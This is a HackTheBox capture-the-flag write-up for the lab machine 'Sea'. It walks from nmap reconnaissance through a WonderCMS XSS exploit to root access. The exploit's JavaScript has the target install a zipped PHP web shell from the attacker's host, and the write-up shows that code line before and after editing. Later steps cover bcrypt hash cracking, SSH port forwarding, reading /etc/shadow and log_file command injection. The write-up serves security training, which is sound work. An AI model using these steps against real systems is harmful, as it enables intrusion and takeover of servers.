HackTheBox | Sea

In this writeup, I demonstrate how to gain root level access to Sea on HackTheBox.

HackTheBox | Sea
Figure 1 - Sea
Owned Sea from Hack The Box!
I have just owned machine Sea from Hack The Box

Reconnaissance

Started off with an Nmap scan and specified the following options:

  • -sC to use default scripts
  • -sV to gather service/version information
  • -oA to save the output to a file
  • -p- to scan all TCP ports

The results show only two open ports, TCP ports 22 and 80.

# Nmap 7.94SVN scan initiated Mon Dec  2 09:06:13 2024 as: nmap -sC -sV -oA nmap/full.tcp -p- 10.129.255.132
Nmap scan report for 10.129.255.132
Host is up (0.0085s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Sea - Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec  2 09:06:25 2024 -- 1 IP address (1 host up) scanned in 12.41 seconds

Initial Access

Identifying a Vulnerably Content Management System

Before navigating to the target web server, it may prove beneficial to add an entry for sea.htb in the /etc/hosts file. That way, the web server can be accessed using the domain name instead of an IP. Additionally, it is good practice to have some enumeration running in the background for efficiency purposes, so a feroxbuster scan was started to enumerate directories on the web server. The following options were provided to feroxbuster:

  • -u for the base URL
  • -w for the wordlist to use
┌─[us-dedivip-1]─[10.10.14.86]─[htb-mp-1386836@htb-xujfru0aiq]─[~/my_data/Sea]
└──╼ [★]$ feroxbuster -u http://10.129.200.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt 

With the feroxbuster scan running, it was time to perform manual enumeration using Burp Suite's built-in web browser. Burp Suite was used to cache all requests made to the webserver to be analyzed for additional information and test out web-based attacks. The landing page has a "How to Participate" tab that references http://sea.htb/contanct.php. This leads to a contact form that accepts user input. A "Website" field instantly piques my interest in that form. The first thought that comes to mind is to see if it can be used to cause the target system to call out to a system I control. To test this, I spin up a web server on my local attacking system and provide a URL that points to it in the contact form. The target system will reach out once the form is submitted and time has elapsed! Some "user interaction" occurs on the target system, probably a script that runs at a regular interval, but I am unsure how to weaponize it.

Figure 2 - Landing Page
Figure 3 - Testing Contact Form
Figure 4 - Verifying User Interaction via Contact Form

The feroxbuster scan is almost complete, and a few interesting URLs have been identified. All three of them resided in the /themes directory. Such a directory is usually associated with a CMS such as WordPress. After some Googling, I could identify which CMS was running on the target system based on the theme's name, version number, and summary. As you can see here, WonderCMS has a default module that matches what is seen on the target system. Further research reveals that WonderCMS 4.3.2 has an XSS vulnerability that can be exploited for remote code execution; the POC can be found here. The WonderCMS version cannot be confirmed, but I have tried exploiting the system.

Figure 5 - Bike Theme License
Figure 6 - Bike Theme Version
Figure 7 - Bike Theme Summary

Modifying a Publicly Available POC

Before running the script, reviewing it and understanding what is going on is imperative. The script exploits an XSS vulnerability to install a web shell as a malicious module. The three things that must be done to get remote code execution are:

  1. Identify the login page
  2. Have a user click on a URL to exploit the XSS vulnerability
  3. Create and host a malicious module that will install a web shell

The first task is relatively simple. After some probing, I found the login page at http://sea.htb/loginURL.

Figure 8 - Login Page

For the second task, "user interaction" was identified with the contact form. This can be abused to exploit the XSS vulnerability.

For the third task, the script needs to be modified a bit. By default, the script will pull a malicious module from a GitHub repository (reference the below code snippet). Given the environment, this will not work since the target system does not have Internet access. The script needs to be modified to point to my attacking system. Additionally, the malicious module must be created and hosted.

var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;

To create the malicious module, first create a new directory. Next, download a PHP web shell and save it to the newly created directory. Finally, use zip on the freshly created directory; voila, a malicious module has been made.

┌─[us-dedivip-1]─[10.10.14.86]─[htb-mp-1386836@htb-xujfru0aiq]─[~/my_data/Sea]
└──╼ [★]$ mkdir revshell-main

┌─[us-dedivip-1]─[10.10.14.86]─[htb-mp-1386836@htb-xujfru0aiq]─[~/my_data/Sea/revshell]
└──╼ [★]$ wget https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/refs/heads/master/webshell.php -O ./revshell-main/rev.php

┌─[us-dedivip-1]─[10.10.14.86]─[htb-mp-1386836@htb-xujfru0aiq]─[~/my_data/Sea]
└──╼ [★]$ zip -r main.zip revshell-main/

With all that out of the way, modify the script to point to the attacking system and specify the name of the malicious module to be installed.

var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.86:9001/main.zip&directoryName=violet&type=themes&token=" + token;

The script looks good, so the malicious module is hosted, the script is run, and the contact form is submitted with the generated link. The target system reaches out to grab the xss.js file but not the malicious module, which is odd. There must be something wrong with the JavaScript file, so it is analyzed on a local system. Using node, the JavaScript code is stepped through. It turns out var urlWithoutLogBase is the issue. var urlRev references var urlWithoutLogBase to generate the URL that will be used to install the malicious module. Using pathname creates an invalid URL, but changing it to hostname fixes the issue. Reference the below snippet to see the value change in var urlRev when var urlWithoutLogBase is modified to use hostname instead of pathname.

Figure9 - Initial Exploit Attempt
┌─[us-dedivip-1]─[10.10.14.212]─[htb-mp-1386836@htb-ebbncqpugm]─[~/my_data/Sea]
└──╼ [★]$ node
Welcome to Node.js v18.19.0.
Type ".help" for more information.
> var url = "http://sea.htb/loginURL";
undefined
> if (url.endsWith("/")) {
...  url = url.slice(0, -1);
... }
undefined
> var urlWithoutLog = url.split("/").slice(0, -1).join("/");

> var urlWithoutLogBase = new URL(urlWithoutLog).pathname; 

> var token = document.querySelectorAll('[name="token"]')[0].value;

> var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.212:9001/main.zip&directoryName=violet&type=themes&token=" + token;

> 
> urlWithoutLogBase
'/'
> 
> urlRev
'//?installModule=http://10.10.14.212:9001/main.zip&directoryName=violet&type=themes&token=undefined'
> 
> var urlWithoutLogBase = new URL(urlWithoutLog).hostname;

> var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.212:9001/main.zip&directoryName=violet&type=themes&token=" + token;

> urlWithoutLogBase
'sea.htb'
> urlRev
'sea.htb/?installModule=http://10.10.14.212:9001/main.zip&directoryName=violet&type=themes&token=undefined'

The example below further illustrates the difference between hostname and pathname.

const currentUrl = window.location.href; // "https://www.example.com/path/to/page.html"
const hostname = window.location.hostname; // "www.example.com"
const pathname = window.location.pathname; // "/path/to/page.html"

Deploying and Accessing a Web Shell

After modifying the script, it worked perfectly. The web shell chosen differs from the one in the original script. Because of that, a callback will not be seen. Instead, I must navigate to the web shell for remote code execution.

Figure 10 - Successful Exploitation Attempt
Figure 11 - Accessing the Web Shell

After landing on the target system, the user context is checked. The web shell is running as the www-data user, which is unsurprising. The next step is to find a way to elevate privileges from www-data to a regular user. An introductory survey of the system led to the discovery of a bcrypt hash. The hash located indatabase.js has two \s that must be removed before it can be cracked with hashcat. Once the hash was cracked the password was sprayed against the two users on the target system, amay and geo, via SSH. Doing so gave me access to the target system with the user context of amay.

Figure 12 - Locating and Cracking bcrypt Hash
Figure 13 - Accessing System via SSH

Privilege Escalation

Accessing an Internal Resource

With access to the target system as a regular user, it is time to conduct a more thorough survey. Doing so reveals something listening on TCP port 8080 that is only accessible via localhost. A local port forward via SSH was used to access TCP port 8080. The following options were used with ssh to create the local port forward:

  • -L creates the local port forward
  • 9999:127.0.0.1:8080 specifies the port on the local (client) host that is to be forwarded to the given host and port via the remote (server) host
amay@sea:~$ ss -tunl
Netid          State           Recv-Q          Send-Q                   Local Address:Port                     Peer Address:Port          Process          
udp            UNCONN          0               0                        127.0.0.53%lo:53                            0.0.0.0:*                              
udp            UNCONN          0               0                              0.0.0.0:68                            0.0.0.0:*                              
tcp            LISTEN          0               10                           127.0.0.1:43663                         0.0.0.0:*                              
tcp            LISTEN          0               511                            0.0.0.0:80                            0.0.0.0:*                              
tcp            LISTEN          0               4096                         127.0.0.1:8080                          0.0.0.0:*                              
tcp            LISTEN          0               4096                     127.0.0.53%lo:53                            0.0.0.0:*                              
tcp            LISTEN          0               128                            0.0.0.0:22                            0.0.0.0:*                              
tcp            LISTEN          0               128                               [::]:22                               [::]:*                              
┌─[us-dedivip-1]─[10.10.14.212]─[htb-mp-1386836@htb-ebbncqpugm]─[~/my_data/Sea]
└──╼ [★]$ ssh amay@sea.htb -L 9999:127.0.0.1:8080

Vulnerable Web Application Leads to Command Injection

To access TCP port 8080 on the target system, I used Burp Suite's built-in web browser and navigated to http://localhost:9999 to utilize the local port forward. amay's credentials were used for logging in. The application allows the user to read the target system's logs, which requires root privileges. Looking closer at the web request in Burp Suite, the log_file= parameter points to the file to be read. Modifying the request allows viewing the /etc/shadow file. With a little trial and error, it was possible to get code execution via a code injection vulnerability. It should be noted that the value of the log_file= parameter must be URL encoded to work correctly. Getting a stable shell as root proved difficult, so I added the user amay to the sudo group instead. For the changes to take effect, log out and back in via SSH or reload the user's profile with su.

Figure 14 - Accessing TCP Port 8080
Figure 15 - Reading /etc/shadow
Figure 16 - Exploiting Command Injection Vulnerability
Figure 17 - Adding Amay to Sudo Group
Figure 18 - Gaining Root Access